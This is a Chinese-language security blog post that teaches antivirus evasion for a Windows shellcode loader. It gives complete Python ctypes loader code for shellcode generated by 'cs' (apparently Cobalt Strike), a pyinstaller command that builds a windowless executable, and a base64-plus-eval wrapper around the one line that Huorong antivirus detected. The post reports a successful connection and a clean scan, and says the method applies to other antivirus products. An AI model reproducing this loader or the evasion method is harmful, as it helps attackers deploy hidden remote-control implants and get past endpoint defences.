python3 shellcode 使用eval函数 bypass AV

admin 2020年10月7日09:43:32评论293 views字数 1324阅读4分24秒阅读模式

使用Python版本

python3 shellcode 使用eval函数 bypass AV


使用cs生成与Python版本对应的shellcode

python3 shellcode 使用eval函数 bypass AV


shellcode load

import ctypes

#shellcode加载
def shellCodeLoad(shellcode):
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

if __name__ == "__main__":
shellCodeLoad(bytearray(b'shellcode'))


使用cs生成的shellcode替换

python3 shellcode 使用eval函数 bypass AV

使用pyinstaller将py文件打包为exe文件

pyinstaller -F test.py --noconsole

python3 shellcode 使用eval函数 bypass AV

直接双击运行,正常上线

python3 shellcode 使用eval函数 bypass AV

但是这个时候,默认的加载器已经被杀的连亲爹都不认识了

python3 shellcode 使用eval函数 bypass AV

通过不断的编译测试,发现火绒的查杀点是在这一句代码上

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))


试了一下改变量名,添加无效代码,修改代码的位置等等方法,火绒还是杀。


后来想到了php中免杀一句话中常用的eval(base64))这种方法,Python和PHP一样也是一个动态语言。


将上述代码替换为

eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))


重新打包成为exe,正常上线

python3 shellcode 使用eval函数 bypass AV

再扫描火绒已经妥妥的过掉了

python3 shellcode 使用eval函数 bypass AV

本文重在说明思路,其他杀软同理。找到查杀点以后,编码,加密处理即可。





本文始发于微信公众号(漏洞推送):python3 shellcode 使用eval函数 bypass AV

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年10月7日09:43:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   python3 shellcode 使用eval函数 bypass AVhttps://cn-sec.com/archives/151291.html

发表评论

匿名网友 填写信息